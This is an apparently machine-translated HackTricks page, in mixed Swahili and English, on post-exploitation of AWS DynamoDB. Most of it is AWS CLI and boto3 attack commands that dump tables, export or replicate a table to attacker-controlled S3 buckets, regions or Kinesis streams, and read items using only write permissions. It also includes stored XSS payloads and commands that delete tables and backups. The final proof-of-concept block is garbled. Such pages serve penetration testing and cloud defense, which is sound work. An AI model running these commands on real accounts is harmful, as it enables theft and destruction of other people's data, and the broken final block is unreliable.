21 KiB
AWS - DynamoDB Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
DynamoDB
Kwa maelezo zaidi angalia:
{{#ref}} ../../aws-services/aws-dynamodb-enum.md {{#endref}}
dynamodb:BatchGetItem
An attacker akiwa na ruhusa hizi ataweza get items kutoka kwa tables kwa primary key (hutaweza kuuliza tu data zote za jedwali). Hii inamaanisha unahitaji kujua primary keys (unaweza kupata hizi kupitia metadata ya jedwali (describe-table).
{{#tabs }} {{#tab name="json file" }}
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
{{#endtab }}
{{#tab name="inline" }}
aws dynamodb batch-get-item \
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
--region <region>
{{#endtab }} {{#endtabs }}
Athari Inayowezekana: privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali
dynamodb:GetItem
Sawa na ruhusa zilizotangulia hii inamruhusu mshambuliaji kusoma thamani kutoka kwenye jedwali 1 tu kwa kutumia funguo kuu ya rekodi anayotaka kupata:
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
Kwa ruhusa hii pia inawezekana kutumia njia ya transact-get-items kama ifuatavyo:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Athari Inayowezekana: Indirect privesc kwa kupata taarifa nyeti katika jedwali
dynamodb:Query
Sawa na ruhusa zilizotangulia hii inaruhusu mshambuliaji wa kimaslahi kusoma thamani kutoka kwenye jedwali 1 tu ikitolewa ufunguo kuu (primary key) wa rekodi inayotakiwa. Inaruhusu kutumia subset of comparisons, lakini mlinganisho pekee unaoruhusiwa kwa ufunguo kuu (ambao lazima utajwe) ni "EQ", hivyo huwezi kutumia mlinganisho kupata DB nzima kwa ombi.
{{#tabs }} {{#tab name="json file" }}
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
{{#endtab }}
{{#tab name="inline" }}
aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region <region>
{{#endtab }} {{#endtabs }}
Athari Inayoweza Kutokea: privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti katika jedwali
dynamodb:Scan
Unaweza kutumia ruhusa hii ili dump jedwali zima kwa urahisi.
aws dynamodb scan --table-name <t_name> #Get data inside the table
Athari Inayoweza Kutokea: Indirect privesc kwa kupata taarifa nyeti kwenye jedwali
dynamodb:PartiQLSelect
Unaweza kutumia ruhusa hii ili dump jedwali zima kwa urahisi.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Ruhusa hii pia inaruhusu kufanya batch-execute-statement kama:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
lakini unahitaji kutaja funguo kuu na thamani, hivyo haifai sana.
Athari Inayowezekana: privesc isiyo ya moja kwa moja kwa kutambua taarifa nyeti katika jedwali
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
Ruhusa hii itamruhusu mshambuliaji kuhamisha jedwali lote kwa S3 bucket anayeichagua:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Kumbuka kwamba ili hili lifanye kazi, jedwali linapaswa kuwa na point-in-time-recovery imewezeshwa; unaweza kuangalia ikiwa jedwali lina hiyo kwa:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
Iwapo haijawezeshwa, utahitaji kuiwezesha na kwa hilo unahitaji ruhusa ya dynamodb:ExportTableToPointInTime:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Athari Inayoweza Kutokea: Indirect privesc by locating sensitive information in the table
dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)
Kwa ruhusa hizi, mshambuliaji angeweza kuunda jedwali jipya kutoka backup (au hata kuunda backup kisha kurejesha katika jedwali tofauti). Kisha, akiwa na ruhusa zinazohitajika, angeweza kuangalia taarifa kutoka kwa backups ambazo haziwezi tena kuwa kwenye jedwali la uzalishaji.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Potential Impact: Indirect privesc kwa kupata taarifa nyeti kwenye nakala rudufu ya jedwali
dynamodb:PutItem
Ruhusa hii inawawezesha watumiaji kuongeza rekodi mpya kwenye jedwali au kubadilisha rekodi iliyopo kwa rekodi mpya. Ikiwa rekodi yenye primary key ile ile tayari ipo, rekodi nzima itabadilishwa kwa rekodi mpya. Ikiwa primary key haipo, rekodi mpya yenye primary key iliyotajwa itaundwa.
{{#tabs }} {{#tab name="XSS Example" }}
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
{{#endtab }}
{{#tab name="AI Example" }}
aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region <region>
{{#endtab }} {{#endtabs }}
Athari Inayowezekana: Utekelezaji wa vulnerabilities/bypasses zaidi kwa kuwa na uwezo wa kuongeza/kuhariri data katika jedwali la DynamoDB
dynamodb:UpdateItem
Haki hii inawawezesha watumiaji kuhariri sifa zilizopo za item au kuongeza sifa mpya kwa item. Haibadilishi item nzima; inasasisha tu sifa zilizobainishwa. Ikiwa primary key haipo katika jedwali, operesheni ita unda item mpya yenye primary key iliyobainishwa na kuweka sifa zilizobainishwa kwenye update expression.
{{#tabs }} {{#tab name="XSS Example" }}
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
{{#endtab }}
{{#tab name="AI Example" }}
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>
{{#endtab }} {{#endtabs }}
Athari Inayowezekana: Unyonyaji wa vulnerabilities/bypasses zaidi kwa uwezo wa kuongeza au kubadilisha data katika jedwali la DynamoDB
dynamodb:DeleteTable
An attacker mwenye ruhusa hii anaweza kufuta jedwali la DynamoDB, kusababisha kupoteza data.
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Potential impact: Kupoteza data na kukatizwa kwa huduma zinazotegemea jedwali lililofutwa.
dynamodb:DeleteBackup
Mshambuliaji mwenye ruhusa hii anaweza kufuta DynamoDB backup, jambo linaloweza kusababisha kupoteza data katika hali ya kurejesha baada ya maafa.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Potential impact: Upotevu wa data na kutoweza kurejesha kutoka kwa chelezo wakati wa tukio la urejeshaji baada ya msiba.
dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords
Note
TODO: Jaribu kama hii kwa kweli inafanya kazi
An attacker wenye ruhusa hizi anaweza enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time. Hii inamruhusu attacker kufuatilia na exfiltrate mabadiliko ya data, ambayo inaweza kusababisha data leakage.
- Washa stream kwenye jedwali la DynamoDB:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Eleza stream ili kupata ARN na maelezo mengine:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Pata shard iterator ukitumia stream ARN:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- Tumia shard iterator kufikia na exfiltrate data kutoka kwa stream:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Potential impact: Ufuatiliaji wa wakati-halisi na data leakage ya mabadiliko ya jedwali la DynamoDB.
Soma vipengee kupitia dynamodb:UpdateItem na ReturnValues=ALL_OLD
Mshambuliaji ambaye ana tu ruhusa ya dynamodb:UpdateItem kwenye jedwali anaweza kusoma vipengee bila ruhusa za kawaida za kusoma (GetItem/Query/Scan) kwa kufanya update isiyo hatari na kuomba --return-values ALL_OLD. DynamoDB itarudisha picha kamili ya kipengee kabla ya update katika sehemu ya Attributes ya response (hii haitumii RCUs).
- Ruhusa za chini:
dynamodb:UpdateItemkwenye jedwali/funguo lengwa. - Mahitaji ya awali: Lazima ujue funguo kuu ya kipengee.
Mfano (inaongeza sifa isiyo hatari na exfiltrates kipengee kilichotangulia kwenye response):
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>
The CLI response will include an Attributes block containing the complete previous item (all attributes), effectively providing a read primitive from write-only access.
Athari Inayowezekana: Soma vipengee vyovyote kutoka kwenye meza ukiwa na ruhusa za kuandika pekee, ikiruhusu uondoaji wa data nyeti wakati funguo kuu zinapojulikana.
dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica
Uondoaji wa siri kwa kuongeza replica mpya ya Region kwenye DynamoDB Global Table (version 2019.11.21). Ikiwa principal anaweza kuongeza regional replica, meza yote itafanywa replicate hadi Region iliyochaguliwa na mshambulizi, ambapo mshambulizi ataweza kusoma vipengee vyote.
{{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }}
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>
# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>
{{#endtab }} {{#tab name="PoC (customer-managed KMS)" }}
# Specify the CMK to use in the replica Region
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
--region <primary-region>
{{#endtab }} {{#endtabs }}
Ruhusa: dynamodb:UpdateTable (with replica-updates) or dynamodb:CreateTableReplica on the target table. Ikiwa CMK inatumiwa kwenye replica, ruhusa za KMS kwa key hiyo zinaweza kuhitajika.
Athari Inayowezekana: Replication ya jedwali zima kwenda Region inayodhibitiwa na mshambuliaji, ikisababisha data exfiltration kwa njia ya siri.
dynamodb:TransactWriteItems (read via failed condition + ReturnValuesOnConditionCheckFailure=ALL_OLD)
Mshambuliaji mwenye transactional write privileges anaweza exfiltrate sifa zote za item iliyopo kwa kufanya Update ndani ya TransactWriteItems ambayo kwa makusudi inashindwa kwenye ConditionExpression wakati ikiteua ReturnValuesOnConditionCheckFailure=ALL_OLD. Katika kushindwa, DynamoDB hujumuisha sifa za awali katika sababu za kughairi muamala, kwa hivyo kubadilisha write-only access kuwa read access ya keys zilizolengwa.
{{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON
# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
{{#endtab }} {{#tab name="PoC (boto3)" }}
import boto3
c=boto3.client('dynamodb',region_name='<region>')
try:
c.transact_write_items(TransactItems=[{ 'Update': {
'TableName':'<TableName>',
'Key':{'<PKName>':{'S':'<PKValue>'}},
'UpdateExpression':'SET #m = :v',
'ExpressionAttributeNames':{'#m':'marker'},
'ExpressionAttributeValues':{':v':{'S':'x'}},
'ConditionExpression':'attribute_not_exists(<PKName>)',
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
except c.exceptions.TransactionCanceledException as e:
print(e.response['CancellationReasons'][0]['Item'])
{{#endtab }} {{#endtabs }}
Ruhusa: dynamodb:TransactWriteItems kwenye jedwali lengwa (na item ya msingi). Hakuna ruhusa za kusoma zinahitajika.
Athari Inayoweza Kutokea: Kusoma items yoyote (kwa primary key) kutoka kwenye jedwali ukitumia tu ruhusa za kuandika za muamala kupitia sababu za kughairi (cancellation reasons) zilizorejeshwa.
dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query on GSI
Pitia vizuizi vya kusoma kwa kuunda Global Secondary Index (GSI) yenye ProjectionType=ALL kwenye sifa yenye entropy ya chini, weka sifa hiyo kuwa thamani thabiti kwa items zote, kisha Query index ili kupata items kamili. Hii inafanya kazi hata kama Query/Scan kwenye jedwali la msingi imekataliwa, mradi tu unaweza kuuliza ARN ya index.
- Minimum permissions:
dynamodb:UpdateTablekwenye jedwali lengwa (kuunda GSI yenyeProjectionType=ALL).dynamodb:UpdateItemkwenye funguo za jedwali lengwa (kuweka sifa iliyowekwa kama index kwenye kila item).dynamodb:Querykwenye ARN ya rasilimali ya index (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).
Hatua (PoC katika us-east-1):
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done
# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done
# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
Athari Inayoweza Kutokea: Uondoaji kamili wa data za jedwali kwa ku-query GSI mpya iliyotengenezwa ambayo inayoonyesha sifa zote, hata wakati APIs za kusoma za jedwali la msingi zimekataliwa.
dynamodb:EnableKinesisStreamingDestination (Uhamisho unaoendelea wa data kupitia Kinesis Data Streams)
Kutumia vibaya DynamoDB Kinesis streaming destinations kuendelea kutoa mabadiliko kutoka kwenye jedwali hadi Kinesis Data Stream inayodhibitiwa na mshambuliaji. Mara inapowezeshwa, kila tukio la INSERT/MODIFY/REMOVE linarushwa karibu kwa wakati halisi kwenye stream bila ya kuhitaji ruhusa za kusoma kwenye jedwali.
Ruhusa za chini kabisa (mshambuliaji):
dynamodb:EnableKinesisStreamingDestinationkwenye jedwali lengwa- Hiari
dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTableili kufuatilia hali - Ruhusa za kusoma kwenye Kinesis stream inayomilikiwa na mshambuliaji ili kusoma rekodi:
kinesis:*
PoC (us-east-1)
```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}}2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1 aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream
--item file:///tmp/htx_item2.json --region us-east-1
/tmp/htx_item2.json
{"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream
--key file:///tmp/htx_key_a1.json
--update-expression "SET #i = :v"
--expression-attribute-names {#i:info}
--expression-attribute-values {✌️{S:updated}}
--region us-east-1
/tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1
--query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD"
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
</details>
**Athari Inayoweza Kutokea:** Exfiltration endelevu, karibu kwa wakati halisi, ya mabadiliko ya jedwali kwa Kinesis stream inayodhibitiwa na mshambuliaji bila shughuli za kusoma za moja kwa moja kwenye jedwali.
{{#include ../../../../banners/hacktricks-training.md}}